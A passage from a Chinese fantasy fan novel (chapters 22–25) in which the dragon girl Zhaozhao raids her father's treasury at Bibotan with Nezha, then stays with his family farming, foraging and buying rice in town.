哪吒见她上一瞬刚答应自己,下一瞬筷子就伸进花生米中去了,生怕她话不过心,遂又问她:“答应得如此轻松,你不需要回去告知母亲?”
昭昭不在意地摆手:“母亲,她现在成天忙着给老小俩筷子上伤药,安慰他们呢,哪里管得我要干什么?”
其他的,龙婆可怜两条无能雄性对她说得那些碎碎念,昭昭是完全当了耳旁风处理。
嗤,身为龙,鳞片是菜色就算了,实力和承受能力也跟着鳞片颜色一起菜?这不傻ox吊吗?!
昭昭随即又想到自己上一年,从老筷子身上察觉到的蛛丝马迹。这老厌物,似乎还在外面乱搞?
啧啧啧,昭昭也是佩服自己两个妈妈的能忍。
长辈她管不了,自己却是忍不了。她不把他们打哭,哭的可就是自己这个道理,昭昭她很久就明白了。
所以啊,昭昭对哪吒自信挑眉,眼中情绪灼灼,烈过头上花色,笑说着夸口:“在碧波潭,我现在想去哪里就去哪里,无有谁能管我!”
当然,换而言之,她想发疯也是随便发疯的。
哪吒默默地哦了一声,没有出言拆穿昭昭背后的辛苦,拿起筷子帮她夹菜:“那你现在很厉害了。”
昭昭吃完满满一桌子菜,随后就拍拍肚皮招呼哪吒:“朋友!你先随我回一趟碧波潭!”
哪吒不明所以:“你不是说不用告诉家里龙,你的去向吗?”
“我现在可和以前不一样了!”昭昭得意地抓过身边哪吒的胳膊,与他比划手掌的大小。
“哪吒你看,以前我们俩的手一样大,现在我却可以包住你的手了!”
哪吒倏地抽回自己的手,抿着唇低声回道:“你说这个干什么?”
昭昭笑道:“我想给你说,我长大啦!”
哪吒:“我以后也会长大!”
昭昭点头:“我知道你会长大呀!但是我快你一步,先成为大孩子了,以我现在的外貌来说,上你家拜访得带上礼物去,才是合格的礼貌龙!”
哪吒听了昭昭这话,想反驳她。告诉龙女,她去他家不用讲这些虚礼,他娘和他一样喜欢昭昭。
所以她不用带上礼物做客,他家都会热情地招待她。
哪吒正想说让昭昭别浪费时间,直接和他回家,现在时间还来得及,她又可以吃上一顿人饭,却又见她红着脸兴奋地在他耳边说:
“老筷子的私库里,刚存进一株丈二珊瑚,我这就取来送给伯母!”
昭昭顶着一脸激动的潮红,继续给哪吒说:“老筷子的私库,我向来是想怎么薅就怎么薅的,守门的精怪拿我没办法。”
“哪吒,你不邀请我去你家,我还忘了这老物荷包里还有一样这好东西!”
“待会儿,你和我进库房了,可别和你的好朋友客气,你看上哪样拿哪样!”
哪吒:“……嗯。”
这一连串的妙语连珠入耳,他心里突然飘起一缕对万圣龙王的淡淡同情。
但想想万圣龙王是怎么对待昭昭的,哪吒便又觉得他们父女这样相处,其实也挺好。
以毒攻毒。
23.第 23 章
昭昭摆出一副,自己可以在碧波潭龙宫里,为所欲为的样子,哪吒便顺从她的意思,随她回家拿礼物。
去之前,因为龙女的夸口,哪吒事先有在脑中模拟想象了一番她在家中的霸道。
可谁知,他随她到了龙宫,这才发现自己先前做的心理准备,完全等于没做。
昭昭,她在龙宫真的是为所欲为。
最开始时,哪吒还一头雾水。他不明白为什么他们离碧波潭的距离越近,昭昭脸上那象征着亢奋的红色,就越鲜艳?
直到……
直到,他们一人一龙潜入水底,面朝一群被他们的到来,吓得屁滚尿流的守卫们开始后……
直到,昭昭给了虾兵脑袋一拳开始,一章奇妙的连环画就在哪吒面前上演。
昭昭以绝对的实力派,打架闺秀的风姿,带给了哪吒十足十的震撼!
没有丝毫迟疑,昭昭她对着家中这群老面孔,使出龙王之力。
她上前一步,给下达命部下进宫给万圣龙王通报消息的虾将,头上擂去狠狠一拳。
虾将:“啊!”
昭昭理直气壮瞪着他骂道:“公主回家,不想着迎驾,鬼鬼祟祟的,你是想死啊!”
骂完,昭昭回头又看见两只螃蟹哆哆嗦嗦地挥舞蟹钳,欢迎她道:“恭迎陛下回宫!”
这一看,就是屈服于她的武力,心不诚。
昭昭哼了一声后,又挨个往他们的蟹壳上各自一拍骂道:“公公爹爹,我这还没登基呢,拍什么龙屁!”
先骂了不会看脸色和会看脸色的,昭昭眼睛往地上一瞥,看见弓着背,在地上瑟瑟发抖抱刀的鱼兵,又哼道:“还有你们,没出息!”
她就这样丝滑地牵着哪吒的手,从龙宫外骂精怪们,骂到龙宫里。
跨门槛时,昭昭刚把脚踩在汉白玉雕琢的云纹台阶上,就和前去通风报信回来的泥鳅,撞了个正着。
她揪着泥鳅的须子,将这老实妖拎到一旁,顺嘴骂道:“呆呆傻傻的老实孩子别挡道!”
哪吒跟在昭昭身后,是看得满眼震撼。
这、这也太狂野了吧。
他亲自斩妖除魔过的山大王们,都没有几个混出昭昭这样的气派。
哪吒被昭昭这见妖就捶,扇、打的行为艺术看懵了。
现在基本上是昭昭牵他往前走一步,他就木木地跟着往前挪一步,缩着脖子,看她把嚣张二字写到,他们遇见的所有妖的脸上。
宫内的侍卫鱼,大步走来,向他们转达万圣龙王的命令:“公主,龙王叫你带客去书房见他。”
“不见。”昭昭飞快当着龙王的属下,拒绝了龙王的命令。
昭昭看着面前的龙与鱼。他们一个说话的态度带着理所当然的潇洒,一个是壮胆似熊的无谓,是各自都在看不起对方。
她才不怕妖精们对自己冷脸,水生动物,哪一个不是看久了,就会觉得其表情僵硬死气沉沉的。
再说了,没有掠食者会和食物生气。
她气定神闲地向着侍卫鱼的方向迈了一步。
她朝它伸长脖子,又微微抬起脸,做了个嗅闻的直接动作,笑道:“下次和我见面,自己背上生姜、大葱、蘸上芥酱哦。”
说完,昭昭也不理侍卫鱼越发瞪大的鱼眼,施施然领着哪吒,换了个方向走,与书房的位置背道急驰。
在昭昭身后的哪吒,这时他也跟着她的脚步跑了起来。
脚下生风,思维便不再呆滞。
在跑向仓库方向的路上,哪吒自然而然地想道,以这种为龙处世的方式活在世上,怪不得昭昭会写出哪样精神状态的文字。
她可真‘自由’。
在碧波潭这地方,她想骂妖就骂妖,想走龙就走龙,惹急了说不得她就抱着妖生啃。
哪吒默默根据方才自己听到龙女恐吓鱼精的话,在脑中展开浩瀚如烟的想象。
嗯,她有吃到之前她一直念叨的蟹膏吗?
蟹被吃了黄,就活不了了吧?
停步在碧波潭的库房前,哪吒脑内,一时分不清昭昭到底是屠了碧波潭还是吃空碧波潭,这前后二者中哪一个后果严重……
“喂,你怎么走神得那么严重?”
昭昭在前头捏开锁门的铜锁,转扭头就发现哪吒双眼放直地在盯着自己出神。
“哪吒哪吒,喂喂喂!”昭昭丢掉手中的废锁,双手握住哪吒的肩头摇晃。
哪吒被她将脑中的场景晃散,忙回话道:“我在听我在听,昭昭别摇了!”
得到回应的昭昭,立马松开手,转身去推库房的大门。
厚重的木门,被龙的巨力一推,立刻朝着里面打开,对一龙一人敞开了宝库。
哪吒边和昭昭往里走,边问她:“你这次有理,怎么不像上次一般委婉施谋?”
这般横刀直入地粗暴对待,不像是你的行事作风,而像是我的。
闻言,昭昭没回头望着他的眼睛郑重回答,他却看见了她摇头的弧度:“唉,杀鸡焉用牛刀,你懂这种感觉吗?”
原本一年之前,昭昭还以为自己会走进什么明枪易躲暗箭难防的刺激权谋生活。可谁知老筷子心肠大大的坏,在权谋一道上对人类的模仿都说不上,完全是在她面前耍了一套幼童政治。
完全粗暴血腥的较量,实力的相互碾压。
若不是昭昭在人身外还有个龙身,她都要因为自己的老龙爹,是哪个顶顶有名的,祖籍楚地,字带双习的哪个谁了。
和莽夫玩政治?不如乱拳打死老龙王,来得畅快。
她可不想小小年纪长结节。
“野兽是不懂委婉的,谁厉害谁拳头大,就是谁老大。”昭昭摇头晃脑地对哪吒感叹。
她是有些不能和人玩三十六计的痛苦,但少女从不懂忧伤,撸起袖子就是干的果决,在这个时期她们坚定得胜过异性。
野兽?
这样一想哪吒明白了:“原来如此。”怪不得她现在在碧波潭的行事作风,狂野成这样。
哪吒明白了昭昭行事作风的一切情有可原后,他就没有在纠结,很快接受了回碧波潭后,龙女在他面前暴露的一切。
放下心事,他跟在她身后,用着欣赏的目光,看着龙宫库房中积攒的奇珍异宝。
而昭昭呢,她在看见再度填满的库房后,一时将搬珊瑚摆件这事抛到脑后,伸手就开始薅万圣龙王的龙毛!
嚯,自己家的事,拿不顺老爹的物件,对太子来说能算偷吗?!
不能!!!
漂亮的宝石顺了,金色的发梳顺了,琉璃十二花神杯顺了,羊脂玉翡翠禁步顺了。
拿完这个,拿那个,都拿都拿!
在昭昭淡定地收刮万物时,万圣龙王脚步匆匆地才赶至库房。
他脚刚迈进屋,就觉得眼前一黑:“逆女!你快别偷了,给老夫留几件,留几件做门面!!!”
他也没在衣食上亏待这个女儿啊,怎么她打起饥荒来,比外面的蛮妖盗匪还要在行?!
昭昭没理会背后万圣龙王这无关痛痒的指责,开始伸手拿项链了。
边拿她边平淡地回怼万圣龙王:“什么偷?我拿自家东西,这说得太难听了!”
万圣龙王一甩袖,哼道:“那我讲偷好吧!”
昭昭摇头道:“嚯!我只是个单纯的捡东西的小女孩罢了。这些东西落在这里积灰不说,上面还没有写着主人的名字。我存思它们没人要的,这才将它们捡走。”
万圣龙王:“写名字?我又不是工匠!”
怒斥完逆女,他却见万圣公主没有丝毫收敛,此刻不光顺完了他刚补充进库里的珍品,又看着要伸手去搬那尊丈二的珊瑚!
“哎哎哎!你要这个干什么?你又没到赏珊瑚的年纪!”
“快放下!留我几件好物吧!”
万圣龙王语带急切,却丝毫不敢对昭昭动粗,急得头上龙须发直地在水中飘动。
不过可别误会,这不是他对女儿还怀有什么软肚肠,而是万圣龙王纯粹拿昭昭这块滚刀肉毫无办法。
小小年纪,昭昭就会了袖里乾坤的藏物术法。
她从库里强了东西,就藏在袖中不还。他一旦生气发怒,是打不还,骂不听,敢饿她,她也真敢抱着龙宫的大臣小兵们啃。
若说要杀昭昭,万圣龙王也下不了这个手,只能每天忍受着女儿一日比一日癫狂的盗匪行为。
他若因此在指点其武艺时,挟私报复伤她,昭昭这孩子能半空撒宝物,弄个玉碎钗断的败家子行为刺激得万圣龙王头晕眼花。
主打一个,我没有,那你就不可能有的同归于尽。
昭昭的武力是比不过他,但这纯折磨的方式,也将万圣龙王磨得叫苦不迭。
昭昭将珊瑚摆件收进袖中了,这才有空搭理万圣龙王的叽里咕噜:“我是暂时用不着,不过可以拿这个去作登门拜访的礼物。”
万圣龙王惊讶:“你要离家?”
昭昭点点头:“嗯。”
“你不想当太子了吗?”万圣龙王不敢相信,女儿之前煎熬痛苦的一年都坚持住了,怎么出去和朋友见了一面,她就熬不住了。
这不符合她野心勃勃,权利欲的选择。
昭昭则是完全不理解,老龙王在自己心里将她塑造成了个啥。
可就算她知道了老筷子如此在内心里妖魔化她,她也会不屑地发出一声冷哼。
她上辈子又不姓刘,无一丝啦的可能遗传冷血政治动物的传承。
她想当龙王,只是走了龙生捷径,想过上最快能到达的好日子,想千年万年的享福罢了。
万圣龙王见昭昭不回话,他又补充道:“你就不怕在你外出游玩的时候,你兄长读书习武的进度超过你?”
此话一出,昭昭立刻就朝万圣龙王甩去一记鄙夷的眼神:“他若有这个本事,你又何必给了一个教导我成才的机会?”
呵,天才有她现在身边站着的这个小不点就够了。
若小筷子有哪吒那个资质,在自己发现他挡路的那天,她就彻夜不眠地下毒、纵火、匕首等等花样百出,将他趁热暗杀了!
天才、男嗣、长子,这挨草的配置,是个想上位当女帝的龙,都要将其挂在必杀榜上即刻绞杀的‘好哥哥’。
万
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圣龙王语塞,被女儿的大实话狠狠扎心。
他暂时也顾不上和哪吒打招呼了,郁闷地又一甩袖子,离开了将库房当精品店逛的女儿面前。
算了算了,想想这逆女拿东西只拿好的她喜欢的,挑拣下也能给他剩下些。
万圣龙王告退了,面前可是没了闲杂龙等,昭昭喂饱了自己的小库房一波,便回头问从刚才踏入龙宫开始,性格突然变得腼腆的哪吒:“哎,你怎么不拿几件东西?不拿白不拿啊!”
哪吒哭笑不得,拒绝道:“我常年住在山间,行走于荒野之间,我要奇珍异宝做什么?”
“做个装饰也可以呀!”昭昭说着话便往哪吒手中塞去一把金子“你拿去买糖吃,不吃拿着打水漂也成,可别便宜了刚才那偏心眼尽会做白日梦的老筷子!”
哪吒听昭昭这话,听前半句时还在恼她将自己当做小儿哄,后半句却又闷笑不止。
看来自己先前对她的担忧,可以散去七分了,她在碧波潭这欺上霸下的日子,可比他想象中要过得自在。
“金子打水漂,好奢侈。”哪吒嘴上这么说,却是抵不住昭昭的热情,收下了她推来的一把金子。
但哪吒也只收下最开始时,昭昭塞给他的那一把金子,之后便拒绝道:“我平时除了修炼,就是打猎耕种,真用不了在身上揣这些财物。”
昭昭一面哦哦哦地收回手,将金子塞进自己袖中,一面惊讶地对哪吒道:“你还会种地?!”
哪吒自信道:“当然,这也是修行的一种方式,自给自足,感日月的变化,受四季应时之味!”
听着好像很了不起的样子,昭昭若有所思地点点头,又道:“那辟谷呢?人得道成仙后岂不是要餐风饮露?”
闻言,哪吒诧异地瞥了昭昭一眼:“你想什么呢?人若无欲无求,他求长生干什么?”
“仙人都吃仙丹蟠桃,宴席不断,佛祖和尚都贪些素酒斋饭,我个凡人不吃不喝,难不成修个立地投胎?”
昭昭被他话中最后一个词,逗得哈哈大笑:“你这俏皮话说得也太有趣哈哈哈哈,也是无欲无求者,要个什么立于众生之上的地位。”
一人一龙的对话中满是大逆不道的说词,却是谁也不在意,嘻嘻哈哈着又快乐地离了碧波潭,往李家山去了。
这李家山的地名,还是昭昭在赶路时,即兴给哪吒一家居住的山取的名字。
这地名极接地气,哪吒就当做大俗即大雅,也一口一个李家山的,跟着昭昭起名的方式叫了起来。
随后到了李家,昭昭见过殷夫人,送上了礼物,她也还和哪吒一个房间睡。全全仗着哪吒的床榻够大,而他又会一味地让着自己。
一人一龙在房间内嬉闹了片刻,便各自收拾妥帖,往李家在山后开垦出的田地去了。
昭昭两辈子都没有种过地了,心里是既好奇庄稼地与农事,又是稀奇与哪吒同名的修仙小孩居然在种地。
怀揣着看热闹的心情,昭昭跑跑跳跳跟在哪吒身边去了地里。
她蹲在田坎上,看哪吒逐个检查他步在田地周围的陷阱。
或捡了猎物,或补好损坏的陷阱,他才开始种地。
这个时节的日光热烈,哪吒在日下劳作一会儿,面颊就玉白转粉,汗滑入衣,偏偏却一点哭累也不喊,低头专注于农事。
哪吒的能干落入昭昭眼中,是越发超乎她的想象了。
昭昭望了会儿哪吒的劳作,随后便若有所思地去给他用竹筒打回凉白开,摘了野果子回来,蹲在树荫下看哪吒辛苦。
他这勤劳能干,会打猎、会设陷阱、会种地,一年四季他的确衣食无忧。
哪吒在平凡生活中的从容,也让昭昭想到了先前自己怼老筷子的话。
像她们这种聪明孩子,玩几天,或干些庸人眼中的‘俗事’,都不会耽搁他们任何一点时间。
昭昭心中感慨一时如潮起,却惹来了地里辛苦干活人的喊话提醒。
昭昭初时见哪吒转头看向自己的方向,正想冲他招手,喊他过来歇息,没想到却受到了他的高声提醒。
“昭昭,你别往后退了!再退要踩着我家地里的苎麻了!”
啊?
苎麻什么东西?!
昭昭面对哪吒的喊话呆呆点头,等哪吒转过头后,她才转身盯着自己身后的一片‘小树林’看。
自言自语中满是不可置信的惊奇:“这片小林子,居然也是作物?!”
是她孤陋寡闻了。
而等哪吒忙完地里的农事,他带着昭昭去取水里泡着的生麻回家后。
她蹲在殷夫人身边看她取麻丝,心里不由感叹自己这是过上古香古色的农家乐了。
殷夫人她好能干,但一日大半时间都耗在织机上,能悟出个什么道来?
昭昭看电视剧,都知道仙女织布、磨豆腐会施法,而不是硬性吃苦,怎么殷夫人就这般老实?
她看着,真觉得她不如下地干活去,得来的收获多。
可殷夫人又不是她的妈妈,昭昭在劝她几次让她多休息,她不听后,昭昭就失去兴趣,拉着哪吒让他领自己去看他家的果树去了。
24.第 24 章
说是看果树,但果树上只要没挂果,昭昭她一般都认不出果树的种类。
桃橘李杏,哪吒边走边介绍自家的果树,连续回两次头,他就看见了昭昭放空的眼神。
哪吒轻轻叹一口气,在心里直问自己给她说那么详细干什么呢?
龙,天生地养,自由自在的,根本不学种地的本事,自己这会儿细细教了她又有何用?
她在水里学了这些又用不得,再者自己又常伴她身边。哪吒仔细一想真觉自己说了些废话给她听,难怪她现在一脸无聊无奈。
哪吒在心中劝好自己后,转身将昭昭拉到一棵树下,指着树上的石榴花,对她说:“昭昭,你看我家石榴花,开得比那日你给我的好。”
昭昭回过神,抬起头望向一树石榴花,艳艳藏于翠色中,日光盖上去,像是树上点起簇簇火焰,亮眼极了。
她点点头后,又听哪吒说道:“再等等,过段时间你就可以尝到我种的石榴了。”
“我管家里农事这几年下肥好,年年树上结的果子都汁甜味美。”
昭昭听哪吒说完话,目光久久停在石榴树上很久,直到哪吒上树摘了朵石榴花递予她,她才回过神道:“哪吒,你平时还是多教教我武艺吧?这样,以后你家的果子也能生得好些。”
昭昭从小就不觉得自己是个广义上的善人,现在换了个世界自然也不会凭空成了善龙。
而现在她看着自己这一世交的好朋友,她确定自己在他身上看到了孩童身上特有的纯善与残忍。
“真是了不起。”她低声说了一句感叹,随后这话又被风吹散。
树叶打着旋,飘落在她的头顶,随后又被哪吒踮起脚摘下。他眨眨眼,看着昭昭笑起来道:“你是不是急了?”
昭昭回以哪吒一个同样无辜的眨眼:“我急什么?”
她说这话不过是抱着自己不想做肥料,还有以后想让别的谁谁做肥料的想法,而已。
哪吒以为昭昭要脸面,在他面前‘固执’,随即凑到她耳边小声说:“昭昭,你肯定是想以后扇你爹的耳光,以牙还牙对待他,是不是?”
昭昭听了这话,才知道哪吒的脑回路是歪到了这上面。
她想他说的这话,逻辑在她这里也对,便大大方方地点头,问他:“哪吒,你以后打算怎么对你的父亲呢?”
都是朋友了,昭昭可不想只有自己一个人的爹打损伤计划被人知道,她也要知道哪吒以后会如何对他的爹。
“我?”哪吒歪头想了想,道:“我还好,我没打算要对我爹如何如何。等我长大后我就离开这个家,去外面去生活,就和我的两个哥哥一样。”
昭昭顿了顿,想到了上辈子自己家中那个经常隐身的男人,不由问哪吒:“你不恨他不管你吗?”
哪吒皱眉,略加思索了片刻才道:“我出世源于父母之欲,父母养我教我是责,至于其他,他们不慈,我可不孝。”
他说得理直气壮,昭昭听得若有所思。
哪吒这种纯古人的质朴思想,一时间让昭昭这颗充斥着现代思潮的脑袋,叹为观止。
“你还真是心宽天地广。”昭昭转着手中的石榴花,对哪吒说道:“果树,我也看完了,现在你有空吗?有空带我去赶山呗,那个好玩!”
“哼,孩子气。”哪吒笑了昭昭一句,随后在嘴中调笑着她白长个子不长心志,还是那么贪玩贪吃后,就拉着人回家取竹筐。
山林中物资丰富,哪怕还没有入秋,哪吒不能带着昭昭复刻去年秋时自己的赶山收获季,他却依旧能在山中寻觅出不少山货,来满足龙女的突发奇想。
空筐入林,下山时满载而归。
哪吒和昭昭蹲在院子里,伸手将竹筐里的东西倾斜而出,竹笋、竹鼠、竹叶、灵芝、蕨菜等山货就倒了一地。
两人的影子投射到山货上,一晃一现着就清空一切。
处理好的食材躺进陶盆,竹筐再度变得空荡荡,风一吹,它在院中若蹴鞠般滚动后,又惹来孩童们嬉笑的踢刷。
龙宫库房内的百宝,龙女只藏不赏,对着个几文钱的竹筐却和玩伴嬉戏了好长时间。
直到被做完饭的殷夫人,呼唤回屋吃饭,一人一龙才收拾好院中残局,洗净了手回房。
烛火下饭菜上升腾的白色水雾,将龙女引入熟悉的烟火气中。
在几次碗筷碰撞,和对视时莫名的笑意涌现中,昭昭心中被碧波潭压抑环境泡发出的最后一捧戾气,默默在饭菜香中消失。
昭昭是个大胃龙,在不用假客气又吃了睡,醒了就练武的条件下,她一周就清空了哪吒一家一月的米量。
瓷碗孤零零地摆在米缸底,光滑的釉面上映出两个小孩的脸。
“我真能吃,米没得好快!”
“今日我去城里买。”
昭昭的荷包鼓鼓,完全不担心一丝一毫的花钱问题,自信地对着哪吒挑起眉毛。
哪吒不去看她,顿了顿才说:“我一个人去买就好,你待在家里。”
昭昭不满地张嘴就问:“你为什么不带我去?”
哪吒不吭声,她又推了推他的胳膊:“快说嘛!”
哪吒闷声回道:“因为我好面子。”
昭昭:“?”
望着昭昭清澈的眼神,哪
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吒心里的羞意若柳芽颤于春风。痒得他简直想用袖子去捂她的脸,让她别再用这么纯稚的眼神看他。
又、又在装作什么都不知道的样子!
在哪吒的身量未长过昭昭时,和龙女一块在城镇中行走这件事,足以列为哪吒成长中的烦恼榜首。
哪吒性情平和,又不缺乏耐心。他陪着昭昭逛街,无论是做采买的正事还是玩耍,在体力和心境上从不会有丝毫损耗。
他纠结的点,主要在于因为一人一龙的人形年龄差距上,经常被外人弄出一些让他羞臊烦躁的误会。
两个哥哥都和哪吒说过,他这种先天入道之子,是会长得比常人慢些的道理。在没遇见昭昭前,这道理在哪吒脑中就是一个无关紧要的概念,直到他认识了昭昭,一个胆大又好吃的龙。
哪吒扒着米缸的边缘,缩回自己向里张望的脑袋。
他闷闷不乐地和昭昭说:“先是弟弟,后是妹妹,这次是不是就轮到我要当你的儿子了?”
站在米缸前,朝里望,哪吒还需要辛苦地垫脚,手抓住缸沿,才能看见缸里的景象。而站在他身旁的昭昭呢,她只需要用胳膊搭在缸沿,伸长脖子往里轻松一看就好。
“我是不是真的长得很慢?”哪吒开始怀疑起哥哥们给他讲的道理。
他在怀疑自己的两个哥哥在给他讲善意的谎言。
第一次听到哪吒说话用这样委屈巴巴的语气,昭昭笑得绝倒。
“长得慢,活得长,以后还说不得能当神仙,多少王侯将相求到发癫都过不了你这样的日子。”她笑了哪吒几句,就伸出一只手在哪吒头顶比划了几下,道:“慢慢长吧你,我可不喜欢白胡子老道士!”
“等你以后修道成仙,做个什么什么童子不好吗?可可爱爱的小朋友,好乖哦!”
昭昭想到自己上辈子,曾经见过的庙里的神像,娃娃神可受老辈子们的欢迎了,香火那是一个旺得不得了!
‘童子’‘可爱’这些形容弱小无辜者的词语,刺激到了哪吒。他也不朝昭昭发脾气,扭过头不再看她:“我才不会永远都是小朋友!”
要做了娃娃神仙,岂不是真的要成她的‘儿子’了!
她是个促狭的,以后出去玩,说不定真会作出一个母亲的样子,面上装模作样的‘照顾’他,暗地里肠子都笑抽筋了去!
目光下移落在漆黑的缸壁上,哪吒看见上面映着少女婀娜的身姿,影子头上的步摇,柳枝般在风中摆动着的弧度,泄露出她此刻愉悦的心情。
哪吒悄悄撇嘴,心想这下好了,他不用在脑内想象以后了。
此龙,现在就在笑他。
25.第 25 章
心中突生一阵酸软感触,哪吒向昭昭抱怨道:“我只是长高的速度较常人慢些。”
昭昭边揉着笑痛的肚子,边用自己带着笑音的声音回话:“好好好,知道啦,知道啦,我们买米去。”
这话入了哪吒耳,他就知道这龙一定是没有正确认知到人的烦恼。
她、她仅仅是又在哄自己。
人形高大了几分,就真的以为自己是年长者了吗?
哪吒不服气,哪吒气鼓鼓地转身走了:“我去买米了!”
“我也去!”昭昭三步做两步,追上哪吒。
她伸手去拉这人的衣摆,被连续甩开两次后,昭昭最终得逞,用拇指与食指捏着哪吒的衣角,跟着他快步走下山。
他应是心里憋气,所以迈步走得很快。
昭昭跟在哪吒身后,有些坏心眼得没有提醒他,他忘记驾云了这个事实。
她看着哪吒下山,从最开始时加班急促得险些跌跤,回过神后又怒得头上发髻忽地往上一耸,到最后耳珠红若樱桃的一整个过程。
昭昭在心里评价着自己的小伙伴好可爱,和她上辈子见过的幼稚傻子们完全不一样。
哪怕气成这样,有些伤自尊了,他也不会被情绪控制,做出些口不择言的讨厌事。
换而言之,昭昭很喜欢哪吒现在的性格,并且她下定决心,以后要让他继续保持。
聪明又好逗好哄,她可真会交朋友。
心里美滋滋呢,脚下却抵着哪吒的脚后跟,急停。
昭昭仔细一看,就发现哪吒现在不只是耳朵通红了,就连后颈上也飞起一片桃粉,上面还沾着细密的汗珠。
嚯,这是反应过来自己忘记自己会腾云驾雾这回事了?
昭昭:“噗!”刚露一个笑音,她连忙捂上嘴。
死嘴可憋住啊!
不然,哪吒他就要羞得自燃了,嘻嘻嘻。
哪吒牙咬腮肉,说话一字一句从牙缝里挤出:“昭!昭!”
昭昭深吸一口气,憋住笑,稳住了声线,大声道:“听到了,干什么?”
哪吒见她又是这副活龙不怕开水烫的死出,脸上羞恼的红色急剧退却。
顿了顿,才冷声道:“你要笑就好好笑,别弄得像是在用嘴巴放屁!”
诶————
发脾气了,也一、点、也、不、凶。
昭昭故作无辜地凑在哪吒耳际,小声说:“我笑了,你不生气?”
哪吒深吸一口气,推开昭昭的脑袋,道:“我不会和你生气!”
要自己真和身后这条龙计较,他早被她的脾气弄得和她分道扬镳了,哪还会仍站在原地,任她取笑?
昭昭向来是得理就要越界三尺的性格,见状她轻飘飘地说:“前面你把我一条龙扔城里,算什么?”
“算……”算我不放心你。
这话是不能告诉她的,说了岂不是让她更得意了?
哪吒转身看到龙女面上明媚张扬的微笑,一下就将话全咽进了肚子里。
她的性格本就棘手,还是不要让她有变本加厉的机会!
“那次算我对不住你,我欠你一次。”
心知自己缠
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歪不过她,哪吒干脆认错。
“再耽误时间,回来就要人龙一起饿肚子了。”哪吒嘴上提醒,手上也抓住机会一把将龙女拽上云头,朝距离家最近的城镇飞去。
站在云上,被冷风和水汽糊了一嘴的昭昭,立时就失去了继续逗哪吒的想法,被迫老实巴交的一路站到了城中落下。
或许是因为这个世界的风俗如此,哪吒和昭昭一人一龙在世俗的城镇里落下云头,城中的行人们也已是见怪不怪了。
一人一龙手牵手走到米铺门口,哪吒就松开了手,回头盯着龙女面露警惕:“我去买米,你自己先去街上玩耍。”
昭昭轻笑了一声,语带调侃地说:“怎么?你这么害怕做我儿子?”
听了她这话,方才就在心中决意不会再惯着她的哪吒,淡淡道:“你这个年纪生不出我这么大的儿子。”
“行吧行吧,你买完米再来找我。”昭昭闻言知道这人今天已经被自己逗到了极限。
昭昭随意对哪吒摆摆手,就转身快步往热闹的街市中去了。
哪吒见此心中松了一口气,转身就迈步进了米铺。
买米可是大事。陈米、以旧作新的坏米可不能眼拙买回家,坏米可是能把人肚子吃坏的。
这边,昭昭离了哪吒,在街上逛着,四处东走西看。
四下里一看,还真让她看见一样新鲜事。
一个头顶龙角?就当他是头顶龙角的貌美少男正在被凡人欺骗。看他那样子,昭昭就觉得自己必须马上登场行侠仗义!
“你们鬼鬼祟祟的在做什么呢?!”